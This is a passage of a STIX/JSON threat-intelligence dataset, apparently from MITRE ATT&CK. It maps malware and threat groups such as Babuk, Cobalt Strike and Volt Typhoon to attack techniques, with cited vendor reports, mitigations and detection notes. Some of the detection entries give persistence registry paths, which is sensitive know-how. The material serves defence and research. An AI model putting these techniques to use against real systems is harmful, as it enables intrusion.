2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fbd4496-f715-4edd-b4da-169d6047a7c9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.250Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can change C2 servers.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0fc08710-fefb-4109-821e-1130c14914f3","created":"2022-09-23T20:14:29.969Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T20:14:29.969Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can use WMI to open a Windows command shell on a remote machine.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0fc4c1db-001c-4b17-82c9-c55319a26534","created":"2022-06-01T21:31:46.657Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."},{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has used HTTP POST requests for C2.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-07-15T21:14:14.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fc95a6b-296f-41ab-8663-aea4a80afe0a","type":"relationship","created":"2020-03-26T18:45:03.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-27T19:55:18.775Z","description":"Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fc9f4b4-c465-46cf-815d-65023ae1d561","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor Registry creation for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\* in front of the \"Startup\" value name: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"] or by adding a key to HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BleepingComputer REvil 2021","description":"Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021.","url":"https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/"},{"source_name":"Sophos Snatch Ransomware 2019","description":"Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.","url":"https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2020-03-17T23:47:25.755Z","description":"If installing itself as a service fails, [Elise](https://attack.mitre.org/software/S0081) instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fd71bed-d22f-44f8-aef2-4c5e55aca422","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"}],"modified":"2020-01-17T19:33:18.056Z","description":"[Calisto](https://attack.mitre.org/software/S0274) collects information on bookmarks from Google Chrome.(Citation: Securelist Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fd9bb83-40f0-42ae-8e73-5d207434a757","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-03-17T00:22:46.510Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) uses HTTP for command and control communication.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0fe5da4f-874f-491d-9e50-0e3540a6d90b","created":"2023-09-19T20:14:30.243Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T20:14:30.243Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has attempted to disable built-in security protections such as Windows AMSI. (Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fea5a40-0755-4e43-b85e-79c94c867627","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Graeber 2014","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"},{"source_name":"Microsoft Configure LSA","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0feab3d1-4d0d-4543-bbc1-63505eda12f8","created":"2022-03-25T21:24:02.019Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can use a list of hardcoded credentials to to authenticate via NTLMSSP to the SMB shares on remote systems.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:07:45.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.606Z","description":"[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture keystrokes.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fee0f43-7352-4503-867b-ae17eb7c278b","type":"relationship","created":"2020-11-06T18:40:38.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"CobaltStrike Daddy May 2017","url":"https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/","description":"Mudge, R. (2017, May 23). Cobalt Strike 3.8 – Who’s Your Daddy?. Retrieved June 4, 2019."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:51:49.661Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use known credentials to run commands and spawn processes as a domain user account.(Citation: cobaltstrike manual)(Citation: CobaltStrike Daddy May 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0fee6145-185d-417f-a431-201a5b3e3259","created":"2024-03-29T12:38:17.884Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T12:38:17.884Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fee7bbd-8d36-48e2-b800-9d2f02c06123","type":"relationship","created":"2020-07-23T14:20:48.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-08-19T16:31:40.705Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has established persistence by running in the background as an autostart service.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0fee8bfd-aec2-44a7-8182-530a648006f3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.848Z","description":"[Reaver](https://attack.mitre.org/software/S0172) creates a shortcut file and saves it in a Startup folder to establish persistence.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ff081b9-5dde-4b48-a90f-3baf26b32a16","type":"relationship","created":"2021-09-28T18:53:02.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.305Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can use BITS Utility to connect with the C2 server.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0ff5be0c-a9f8-4c21-9100-4033878be61e","created":"2022-08-11T22:56:44.570Z","x_mitre_version":"0.1","external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Checkpoint MosesStaff Nov 2021)","modified":"2022-08-11T22:56:44.570Z","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ffa13fd-ca80-4541-a166-9c297145180d","created":"2023-07-31T18:20:02.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:29:09.338Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has enumerated running processes on targeted systems including through the use of [Tasklist](https://attack.mitre.org/software/S0057).(Citation: Microsoft Volt Typhoon May 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ffa2b36-2a4c-4f40-af47-c56b357f92c8","type":"relationship","created":"2021-08-12T15:52:02.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."}],"modified":"2021-10-13T14:29:38.996Z","description":"[Babuk](https://attack.mitre.org/software/S0638) can use “WNetOpenEnumW” and “WNetEnumResourceW” to enumerate files in network resources for encryption.(Citation: McAfee Babuk February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ffeeaae-4cc0-4201-ac08-edf5abca7861","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"File Modification","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10017b2e-7234-4368-81d7-a4c8b98c26a0","type":"relationship","created":"2020-01-30T17:48:49.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-12T14:22:09.973Z","description":"Configure browsers or tasks to regularly delete persistent cookies.","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--100f4917-1702-4707-bd9f-58d471e77018","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2019-09-16T19:41:10.250Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the OS version and computer name.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1010f466-818d-4387-9e43-9ae5e9bf9a40","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Morphisec Cobalt Gang Oct 2018","description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.","url":"https://blog.morphisec.com/cobalt-gang-2.0"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:29:03.959Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) obfuscated several scriptlets and code used on the victim’s machine, including through use of XOR and RC4.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1016e15c-64ed-4338-9ca9-83ffae3beb82","type":"relationship","created":"2020-02-21T21:42:07.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:23:46.729Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--101867a2-149c-4088-a90f-7af4b86e5013","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2019-05-14T17:10:21.817Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) can switch to a new C2 channel if the current one is broken.(Citation: ESET Sednit Part 